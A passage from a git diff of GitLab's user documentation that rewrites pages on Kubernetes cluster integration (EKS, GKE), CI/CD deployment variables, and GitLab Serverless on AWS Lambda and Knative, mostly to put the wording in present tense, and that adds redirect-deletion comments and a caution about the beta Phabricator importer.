definitions](https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies), but that is beyond the scope of @@ -60,7 +60,7 @@ This allows GitLab to discover whether a deployment is stable or canary (tempora Once all of the above are set up and the pipeline has run at least once, navigate to the environments page under **Pipelines > Environments**. -As the pipeline executes Deploy Boards will clearly mark canary pods, enabling +As the pipeline executes, Deploy Boards clearly mark canary pods, enabling quick and easy insight into the status of each environment and deployment. Canary deployments are marked with a yellow dot in the Deploy Board so that you diff --git a/doc/user/project/ci_cd_for_external_repo.md b/doc/user/project/ci_cd_for_external_repo.md index a92d3a2c308..57747be3859 100644 --- a/doc/user/project/ci_cd_for_external_repo.md +++ b/doc/user/project/ci_cd_for_external_repo.md @@ -3,3 +3,6 @@ redirect_to: '../../ci/ci_cd_for_external_repos/index.md' --- This document was moved to [another location](../../ci/ci_cd_for_external_repos/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md index c3f2b96ce9f..1ba70c96dcd 100644 --- a/doc/user/project/clusters/add_eks_clusters.md +++ b/doc/user/project/clusters/add_eks_clusters.md @@ -23,9 +23,9 @@ requirements are met: ### Additional requirements for self-managed instances **(CORE ONLY)** If you are using a self-managed GitLab instance, GitLab must first be configured with a set of -Amazon credentials. These credentials will be used to assume an Amazon IAM role provided by the user +Amazon credentials. These credentials are used to assume an Amazon IAM role provided by the user creating the cluster. Create an IAM user and ensure it has permissions to assume the role(s) that -your users will use to create EKS clusters. +your users need to create EKS clusters. For example, the following policy document allows assuming a role whose name starts with `gitlab-eks-` in account `123456789012`: @@ -60,7 +60,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - Group's **Kubernetes** page, for a group-level cluster. - **Admin Area > Kubernetes**, for an instance-level cluster. 1. Click **Add Kubernetes cluster**. -1. Under the **Create new cluster** tab, click **Amazon EKS**. You will be provided with an +1. Under the **Create new cluster** tab, click **Amazon EKS** to display an `Account ID` and `External ID` needed for later steps. 1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy: 1. From the left panel, select **Policies**. @@ -137,9 +137,9 @@ To create and add a new Kubernetes cluster to your project, group, or instance: 1. Click **Next: Tags**, and optionally enter any tags you wish to associate with this role. 1. Click **Next: Review**. 1. Enter a role name and optional description into the fields provided. - 1. Click **Create role**, the new role name will appear at the top. Click on its name and copy the `Role ARN` from the newly created role. + 1. Click **Create role**, the new role name displays at the top. Click on its name and copy the `Role ARN` from the newly created role. 1. In GitLab, enter the copied role ARN into the `Role ARN` field. -1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab will authenticate you have access to this region when authenticating your role. +1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab confirms you have access to this region when authenticating your role. 1. Click **Authenticate with AWS**. 1. Choose your cluster's settings: - **Kubernetes cluster name** - The name you wish to give the cluster. @@ -158,7 +158,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - **VPC** - Select a [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) to use for your EKS Cluster resources. - **Subnets** - Choose the [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) - in your VPC where your worker nodes will run. You must select at least two. + in your VPC where your worker nodes run. You must select at least two. - **Security group** - Choose the [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets. - **Instance type** - The [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes. @@ -167,11 +167,11 @@ To create and add a new Kubernetes cluster to your project, group, or instance: See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After about 10 minutes, your cluster will be ready to go. You can now proceed +After about 10 minutes, your cluster is ready to go. You can now proceed to install some [pre-defined applications](index.md#installing-applications). NOTE: **Note:** -You will need to add your AWS external ID to the +You must add your AWS external ID to the [IAM Role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount) to manage your cluster using `kubectl`. @@ -219,9 +219,9 @@ For information on adding an existing EKS cluster, see ### Create a default Storage Class Amazon EKS doesn't have a default Storage Class out of the box, which means -requests for persistent volumes will not be automatically fulfilled. As part +requests for persistent volumes are not automatically fulfilled. As part of Auto DevOps, the deployed PostgreSQL instance requests persistent storage, -and without a default storage class it will fail to start. +and without a default storage class it cannot start. If a default Storage Class doesn't already exist and is desired, follow Amazon's [guide on storage classes](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html) @@ -239,18 +239,17 @@ to build, test, and deploy the app. [Enable Auto DevOps](../../../topics/autodevops/index.md#at-the-project-level) if not already enabled. If a wildcard DNS entry was created resolving to the Load Balancer, enter it in the `domain` field under the Auto DevOps settings. -Otherwise, the deployed app will not be externally available outside of the cluster. +Otherwise, the deployed app isn't externally available outside of the cluster.  -A new pipeline will automatically be created, which will begin to build, test, -and deploy the app. +GitLab creates a new pipeline, which begins to build, test, and deploy the app. -After the pipeline has finished, your app will be running in EKS and available +After the pipeline has finished, your app runs in EKS, and is available to users. Click on **CI/CD > Environments**.  -You will see a list of the environments and their deploy status, as well as +GitLab displays a list of the environments and their deploy status, as well as options to browse to the app, view monitoring metrics, and even access a shell on the running pod. diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md index 720f9bdf253..c4bfddb092a 100644 --- a/doc/user/project/clusters/add_gke_clusters.md +++ b/doc/user/project/clusters/add_gke_clusters.md @@ -33,7 +33,7 @@ Note the following: created by GitLab are RBAC-enabled. Take a look at the [RBAC section](add_remove_clusters.md#rbac-cluster-resources) for more information. - Starting from [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18341), the - cluster's pod address IP range will be set to /16 instead of the regular /14. /16 is a CIDR + cluster's pod address IP range is set to `/16` instead of the regular `/14`. `/16` is a CIDR notation. - GitLab requires basic authentication enabled and a client certificate issued for the cluster to set up an [initial service account](add_remove_clusters.md#access-controls). In [GitLab versions @@ -57,20 +57,20 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - **Kubernetes cluster name** - The name you wish to give the cluster. - **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster. - **Google Cloud Platform project** - Choose the project you created in your GCP - console that will host the Kubernetes cluster. Learn more about + console to host the Kubernetes cluster. Learn more about [Google Cloud Platform projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects). - **Zone** - Choose the [region zone](https://cloud.google.com/compute/docs/regions-zones/) - under which the cluster will be created. + under which to create the cluster. - **Number of nodes** - Enter the number of nodes you wish the cluster to have. - **Machine type** - The [machine type](https://cloud.google.com/compute/docs/machine-types) - of the Virtual Machine instance that the cluster will be based on. + of the Virtual Machine instance to base the cluster on. - **Enable Cloud Run for Anthos** - Check this if you want to use Cloud Run for Anthos for this cluster. See the [Cloud Run for Anthos section](#cloud-run-for-anthos) for more information. - **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster. See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After a couple of minutes, your cluster will be ready to go. You can now proceed +After a couple of minutes, your cluster is ready. You can now proceed to install some [pre-defined applications](index.md#installing-applications). ### Cloud Run for Anthos @@ -79,7 +79,7 @@ to install some [pre-defined applications](index.md#installing-applications). You can choose to use Cloud Run for Anthos in place of installing Knative and Istio separately after the cluster has been created. This means that Cloud Run -(Knative), Istio, and HTTP Load Balancing will be enabled on the cluster at +(Knative), Istio, and HTTP Load Balancing are enabled on the cluster at create time and cannot be [installed or uninstalled](../../clusters/applications.md) separately. ## Existing GKE cluster diff --git a/doc/user/project/clusters/eks_and_gitlab/index.md b/doc/user/project/clusters/eks_and_gitlab/index.md index 895b51ea9bb..e38fbb871c1 100644 --- a/doc/user/project/clusters/eks_and_gitlab/index.md +++ b/doc/user/project/clusters/eks_and_gitlab/index.md @@ -3,3 +3,6 @@ redirect_to: '../add_eks_clusters.md#existing-eks-cluster' --- This document was moved to [another location](../add_eks_clusters.md#existing-eks-cluster). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index 9273fb7b361..249abe9140c 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -79,8 +79,8 @@ project. That way you can have different clusters for different environments, like dev, staging, production, and so on. Simply add another cluster, like you did the first time, and make sure to -[set an environment scope](#setting-the-environment-scope) that will -differentiate the new cluster with the rest. +[set an environment scope](#setting-the-environment-scope) that +differentiates the new cluster from the rest. #### Setting the environment scope @@ -89,9 +89,9 @@ them with an environment scope. The environment scope associates clusters with [ [environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work. The default environment scope is `*`, which means all jobs, regardless of their -environment, will use that cluster. Each scope can only be used by a single -cluster in a project, and a validation error will occur if otherwise. -Also, jobs that don't have an environment keyword set will not be able to access any cluster. +environment, use that cluster. Each scope can be used only by a single cluster +in a project, and a validation error occurs if otherwise. Also, jobs that don't +have an environment keyword set can't access any cluster. For example, let's say the following Kubernetes clusters exist in a project: @@ -127,13 +127,13 @@ deploy to production: url: https://example.com/ ``` -The result will then be: +The results: -- The Development cluster details will be available in the `deploy to staging` +- The Development cluster details are available in the `deploy to staging` job. -- The production cluster details will be available in the `deploy to production` +- The production cluster details are available in the `deploy to production` job. -- No cluster details will be available in the `test` job because it doesn't +- No cluster details are available in the `test` job because it doesn't define any environment. ## Configuring your Kubernetes cluster @@ -157,15 +157,15 @@ applications running on the cluster. > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 11.5. > - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11. -You can choose to allow GitLab to manage your cluster for you. If your cluster is -managed by GitLab, resources for your projects will be automatically created. See the -[Access controls](add_remove_clusters.md#access-controls) section for details on which resources will -be created. +You can choose to allow GitLab to manage your cluster for you. If your cluster +is managed by GitLab, resources for your projects are automatically created. See +the [Access controls](add_remove_clusters.md#access-controls) section for +details about the created resources. -If you choose to manage your own cluster, project-specific resources will not be created -automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you will -need to explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables) -that will be used by your deployment jobs, otherwise a namespace will be created for you. +If you choose to manage your own cluster, project-specific resources aren't created +automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must +explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables) +for your deployment jobs to use; otherwise a namespace is created for you. #### Important notes @@ -198,10 +198,10 @@ To clear the cache: > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8. You do not need to specify a base domain on cluster settings when using GitLab Serverless. The domain in that case -will be specified as part of the Knative installation. See [Installing Applications](#installing-applications). +is specified as part of the Knative installation. See [Installing Applications](#installing-applications). -Specifying a base domain will automatically set `KUBE_INGRESS_BASE_DOMAIN` as an environment variable. -If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain will be used for the different +Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an environment variable. +If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different stages. For example, Auto Review Apps and Auto Deploy. The domain should have a wildcard DNS configured to the Ingress IP address. After Ingress has been installed (see [Installing Applications](#installing-applications)), @@ -224,7 +224,7 @@ Auto DevOps automatically detects, builds, tests, deploys, and monitors your applications. To make full use of Auto DevOps (Auto Deploy, Auto Review Apps, and -Auto Monitoring) you will need the Kubernetes project integration enabled, but +Auto Monitoring) the Kubernetes project integration must be enabled, but Kubernetes clusters can be used without Auto DevOps. [Read more about Auto DevOps](../../../topics/autodevops/index.md) @@ -238,7 +238,7 @@ A Kubernetes cluster can be the destination for a deployment job. If and configuration is not required. You can immediately begin interacting with the cluster from your jobs using tools such as `kubectl` or `helm`. - You don't use GitLab's cluster integration you can still deploy to your - cluster. However, you will need configure Kubernetes tools yourself + cluster. However, you must configure Kubernetes tools yourself using [environment variables](../../../ci/variables/README.md#custom-environment-variables) before you can interact with the cluster from your jobs. @@ -257,14 +257,14 @@ The Kubernetes cluster integration exposes the following GitLab CI/CD build environment to deployment jobs, which are jobs that have [defined a target environment](../../../ci/environments/index.md#defining-environments). -| Variable | Description | -| -------- | ----------- | -| `KUBE_URL` | Equal to the API URL. | -| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. | -| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. | -| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. | -| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. | -| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely will only need this variable. This variable name is also automatically picked up by `kubectl` so you won't actually need to reference it explicitly if using `kubectl`. | +| Variable | Description | +|----------------------------|-------------| +| `KUBE_URL` | Equal to the API URL. | +| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. | +| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. | +| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. | +| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. | +| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely need only this variable. This variable name is also automatically picked up by `kubectl` so you don't need to reference it explicitly if using `kubectl`. | | `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, this variable can be used to set a domain per cluster. See [cluster domains](#base-domain) for more information. | ### Custom namespace @@ -362,7 +362,7 @@ the deployment job: - A namespace. - A service account. -However, sometimes GitLab can not create them. In such instances, your job will fail with the message: +However, sometimes GitLab can not create them. In such instances, your job can fail with the message: ```plaintext This job failed because the necessary resources were not successfully created. @@ -376,7 +376,7 @@ Reasons for failure include: privileges required by GitLab. - Missing `KUBECONFIG` or `KUBE_TOKEN` variables. To be passed to your job, they must have a matching [`environment:name`](../../../ci/environments/index.md#defining-environments). If your job has no - `environment:name` set, it will not be passed the Kubernetes credentials. + `environment:name` set, the Kubernetes credentials are not passed to it. NOTE: **Note:** Project-level clusters upgraded from GitLab 12.0 or older may be configured @@ -396,6 +396,6 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Core in 13.2. -When [Prometheus is deployed](#installing-applications), GitLab will automatically monitor the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start. +When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.  diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md index c1e4e821efd..7dfca5314da 100644 --- a/doc/user/project/clusters/runbooks/index.md +++ b/doc/user/project/clusters/runbooks/index.md @@ -37,7 +37,7 @@ for an overview of how this is accomplished in GitLab! ## Requirements -To create an executable runbook, you will need: +To create an executable runbook, you need: - **Kubernetes** - A Kubernetes cluster is required to deploy the rest of the applications. The simplest way to get started is to add a cluster using one @@ -71,7 +71,7 @@ the components outlined above and the pre-loaded demo runbook.  1. After Ingress has been installed successfully, click the **Install** button next - to the **JupyterHub** application. You will need the **Jupyter Hostname** provided + to the **JupyterHub** application. You need the **Jupyter Hostname** provided here in the next step.  @@ -84,8 +84,8 @@ the components outlined above and the pre-loaded demo runbook.  -1. Click **Authorize**, and you will be redirected to the JupyterHub application. -1. Click **Start My Server**, and the server will start in a few seconds. +1. Click **Authorize**, and GitLab redirects you to the JupyterHub application. +1. Click **Start My Server** to start the server in a few seconds. 1. To configure the runbook's access to your GitLab project, you must enter your [GitLab Access Token](../../../profile/personal_access_tokens.md) and your Project ID in the **Setup** section of the demo runbook: diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md index 0de0fd38336..6dce37877c6 100644 --- a/doc/user/project/clusters/serverless/aws.md +++ b/doc/user/project/clusters/serverless/aws.md @@ -29,7 +29,7 @@ Alternatively, you can quickly [create a new project with a template](../../../. ### Example -In the following example, you will: +This example shows you how to: 1. Create a basic AWS Lambda Node.js function. 1. Link the function to an API Gateway `GET` endpoint. @@ -49,7 +49,7 @@ Lets take it step by step. #### Creating a Lambda handler function -Your Lambda function will be the primary handler of requests. In this case we will create a very simple Node.js `hello` function: +Your Lambda function is the primary handler of requests. In this case, create a very simple Node.js `hello` function: ```javascript 'use strict'; @@ -72,13 +72,13 @@ Place this code in the file `src/handler.js`. `src` is the standard location for serverless functions, but is customizable should you desire that. -In our case, `module.exports.hello` defines the `hello` handler that will be referenced later in the `serverless.yml` +In our case, `module.exports.hello` defines the `hello` handler to reference later in the `serverless.yml`. You can learn more about the AWS Lambda Node.js function handler and all its various options here: <https://docs.aws.amazon.com/lambda/latest/dg/nodejs-prog-model-handler.html> #### Creating a `serverless.yml` file -In the root of your project, create a `serverless.yml` file that will contain configuration specifics for the Serverless Framework. +In the root of your project, create a `serverless.yml` file containing configuration specifics for the Serverless Framework. Put the following code in the file: @@ -97,9 +97,9 @@ functions: Our function contains a handler and a event. -The handler definition will provision the Lambda function using the source code located `src/handler.hello`. +The handler definition provisions the Lambda function using the source code located `src/handler.hello`. -The `events` declaration will create a AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration. +The `events` declaration creates an AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration. You can read more about the [available properties and additional configuration possibilities](https://www.serverless.com/framework/docs/providers/aws/guide/serverless.yml/) of the Serverless Framework. @@ -141,10 +141,10 @@ For more information please see [Create a custom variable in the UI](../../../.. #### Deploying your function -`git push` the changes to your GitLab repository and the GitLab build pipeline will automatically deploy your function. +`git push` the changes to your GitLab repository and the GitLab build pipeline deploys your function. -In your GitLab deploy stage log, there will be output containing your AWS Lambda endpoint URL. -The log line will look similar to this: +Your GitLab deploy stage log contains output containing your AWS Lambda endpoint URL, +with log lines similar to this: ```plaintext endpoints: @@ -227,7 +227,7 @@ provider: ``` From there, you can reference them in your functions as well. -Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables**, and it will get picked up and deployed with your function. +Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables** to be picked up and deployed with your function. NOTE: **Note:** Anyone with access to the AWS environment may be able to see the values of those @@ -309,7 +309,7 @@ GitLab allows developers to build and deploy serverless applications using the c ### Example -In the following example, you will: +This example shows you how to: - Install SAM CLI. - Create a sample SAM application including a Lambda function and API Gateway. @@ -414,8 +414,8 @@ Let’s examine the configuration file more closely: ### Deploying your application -Push changes to your GitLab repository and the GitLab build pipeline will automatically -deploy your application. If your: +Push changes to your GitLab repository and the GitLab build pipeline +deploys your application. If your: - Build and deploy are successful, [test your deployed application](#testing-the-deployed-application). - Build fails, look at the build log to see why the build failed. Some common reasons diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index 603c4bd73b1..6625a6b314f 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -39,9 +39,9 @@ With GitLab Serverless, you can deploy both functions-as-a-service (FaaS) and se ## Prerequisites -To run Knative on GitLab, you will need: +To run Knative on GitLab, you need: -1. **Existing GitLab project:** You will need a GitLab project to associate all resources. The simplest way to get started: +1. **Existing GitLab project:** You need a GitLab project to associate all resources. The simplest way to get started: - If you are planning on [deploying functions](#deploying-functions), clone the [functions example project](https://gitlab.com/knative-examples/functions) to get started. @@ -51,19 +51,19 @@ To run Knative on GitLab, you will need: 1. **Kubernetes Cluster:** An RBAC-enabled Kubernetes cluster is required to deploy Knative. The simplest way to get started is to add a cluster using GitLab's [GKE integration](../add_remove_clusters.md). The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory. -1. **GitLab Runner:** A runner is required to run the CI jobs that will deploy serverless +1. **GitLab Runner:** A runner is required to run the CI jobs that deploy serverless applications or functions onto your cluster. You can install GitLab Runner onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information. -1. **Domain Name:** Knative will provide its own load balancer using Istio. It will provide an - external IP address or hostname for all the applications served by Knative. You will be prompted to enter a - wildcard domain where your applications will be served. Configure your DNS server to use the +1. **Domain Name:** Knative provides its own load balancer using Istio, and an + external IP address or hostname for all the applications served by Knative. Enter a + wildcard domain to serve your applications. Configure your DNS server to use the external IP address or hostname for that domain. 1. **`.gitlab-ci.yml`:** GitLab uses [Kaniko](https://github.com/GoogleContainerTools/kaniko) to build the application. We also use [GitLab Knative tool](https://gitlab.com/gitlab-org/gitlabktl) CLI to simplify the deployment of services and functions to Knative. 1. **`serverless.yml`** (for [functions only](#deploying-functions)): When using serverless to deploy functions, the `serverless.yml` file - will contain the information for all the functions being hosted in the repository as well as a reference to the - runtime being used. + contains the information for all the functions being hosted in the repository as well as a reference + to the runtime being used. 1. **`Dockerfile`** (for [applications only](#deploying-serverless-applications)): Knative requires a `Dockerfile` in order to build your applications. It should be included at the root of your project's repository and expose port `8080`. `Dockerfile` is not require if you plan to build serverless functions @@ -92,7 +92,7 @@ memory. **RBAC must be enabled.** For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl), for other platforms [Install kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/). -1. The Ingress is now available at this address and will route incoming requests to the proper service based on the DNS +1. The Ingress is now available at this address and routes incoming requests to the proper service based on the DNS name in the request. To support this, a wildcard DNS record should be created for the desired domain name. For example, if your Knative base domain is `knative.info` then you need to create an A record or CNAME record with domain `*.knative.info` pointing the IP address or hostname of the Ingress. @@ -107,7 +107,7 @@ on a given project, but not both. The current implementation makes use of a > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58941) in GitLab 12.0. -The _invocations_ monitoring feature of GitLab serverless won't work when +The _invocations_ monitoring feature of GitLab serverless is unavailable when adding an existing installation of Knative. It's also possible to use GitLab Serverless with an existing Kubernetes cluster @@ -121,7 +121,7 @@ which already has Knative installed. You must do the following: - For a non-GitLab managed cluster, ensure that the service account for the token provided can manage resources in the `serving.knative.dev` API group. - For a GitLab managed cluster, if you added the cluster in [GitLab 12.1 or later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30235), - then GitLab will already have the required access and you can proceed to the next step. + then GitLab already has the required access and you can proceed to the next step. Otherwise, you need to manually grant GitLab's service account the ability to manage resources in the `serving.knative.dev` API group. Since every GitLab service account @@ -234,12 +234,12 @@ Follow these steps to deploy a function using the Node.js runtime to your Knative instance (you can skip these steps if you've cloned the example project): -1. Create a directory that will house the function. In this example we will +1. Create a directory to house the function. In this example we will create a directory called `echo` at the root of the project. -1. Create the file that will contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is: +1. Create the file to contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is: - Public, continue to the next step. - - Private, you will need to [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope. + - Private, you must [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope. 1. `.gitlab-ci.yml`: this defines a pipeline used to deploy your functions. It must be included at the root of your repository: @@ -304,7 +304,7 @@ Explanation of the fields used above: | Parameter | Description | |-----------|-------------| -| `service` | Name for the Knative service which will serve the function. | +| `service` | Name for the Knative service which serves the function. | | `description` | A short description of the `service`. | ### `provider` @@ -349,9 +349,9 @@ The optional `runtime` parameter can refer to one of the following runtime alias | `openfaas/classic/ruby` | OpenFaaS | After the `gitlab-ci.yml` template has been added and the `serverless.yml` file -has been created, pushing a commit to your project will result in a CI pipeline -being executed which will deploy each function as a Knative service. Once the -deploy stage has finished, additional details for the function will appear +has been created, pushing a commit to your project results in a CI pipeline +being executed which deploys each function as a Knative service. After the +deploy stage has finished, additional details for the function display under **Operations > Serverless**.  @@ -482,7 +482,7 @@ A `serverless.yml` file is not required when deploying serverless applications. ### Deploy the application with Knative -With all the pieces in place, the next time a CI pipeline runs, the Knative application will be deployed. Navigate to +With all the pieces in place, the next time a CI pipeline runs the Knative application deploys. Navigate to **CI/CD > Pipelines** and click the most recent pipeline. ### Function details @@ -498,13 +498,13 @@ rows to bring up the function details page.  -The pod count will give you the number of pods running the serverless function instances on a given cluster. +The pod count gives you the number of pods running the serverless function instances on a given cluster. For the Knative function invocations to appear, [Prometheus must be installed](../index.md#installing-applications). Once Prometheus is installed, a message may appear indicating that the metrics data _is -loading or is not available at this time._ It will appear upon the first access of the +loading or is not available at this time._ It appears upon the first access of the page, but should go away after a few seconds. If the message does not disappear, then it is possible that GitLab is unable to connect to the Prometheus instance running on the cluster. @@ -558,7 +558,7 @@ Or: ## Enabling TLS for Knative services -By default, a GitLab serverless deployment will be served over `http`. To serve +By default, a GitLab serverless deployment is served over `http`. To serve over `https`, you must manually obtain and install TLS certificates. 12345678901234567890123456789012345678901234567890123456789012345678901234567890 @@ -647,7 +647,7 @@ or with other versions of Python. ``` 1. Create certificate and private key files. Using the contents of the files - returned by Certbot, we'll create two files in order to create the + returned by Certbot, create two files in order to create the Kubernetes secret: Run the following command to see the contents of `fullchain.pem`: @@ -828,8 +828,8 @@ or with other versions of Python. ``` After your changes are running on your Knative cluster, you can begin using the HTTPS protocol for secure access your deployed Knative services. - In the event a mistake is made during this process and you need to update the cert, you will need to edit the gateway `knative-ingress-gateway` - to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway will use the new certificates. + In the event a mistake is made during this process and you need to update the cert, you must edit the gateway `knative-ingress-gateway` + to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway uses the new certificates. ## Using an older version of `gitlabktl` diff --git a/doc/user/project/container_registry.md b/doc/user/project/container_registry.md index 91c9d3171dc..17e86b6d7e8 100644 --- a/doc/user/project/container_registry.md +++ b/doc/user/project/container_registry.md @@ -3,3 +3,6 @@ redirect_to: '../packages/container_registry/index.md' --- This document was moved to [another location](../packages/container_registry/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/cycle_analytics.md b/doc/user/project/cycle_analytics.md index 9d1cc508f63..5c235f6708b 100644 --- a/doc/user/project/cycle_analytics.md +++ b/doc/user/project/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md' --- This document was moved to [another location](../analytics/value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/gpg_signed_commits/index.md b/doc/user/project/gpg_signed_commits/index.md index bd9a5313489..206013210a0 100644 --- a/doc/user/project/gpg_signed_commits/index.md +++ b/doc/user/project/gpg_signed_commits/index.md @@ -3,3 +3,6 @@ redirect_to: '../repository/gpg_signed_commits/index.md' --- This document was moved to [another location](../repository/gpg_signed_commits/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index a19068199db..2ff6baa7b8a 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -9,6 +9,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0. +CAUTION: **Caution:** +The Phabricator task importer is in +[beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) and is +[**not** complete](https://gitlab.com/gitlab-org/gitlab/-/issues/284406). It imports +only an issue's title and description. The GitLab project created during the import +process contains only issues, and the associated repository is disabled. + 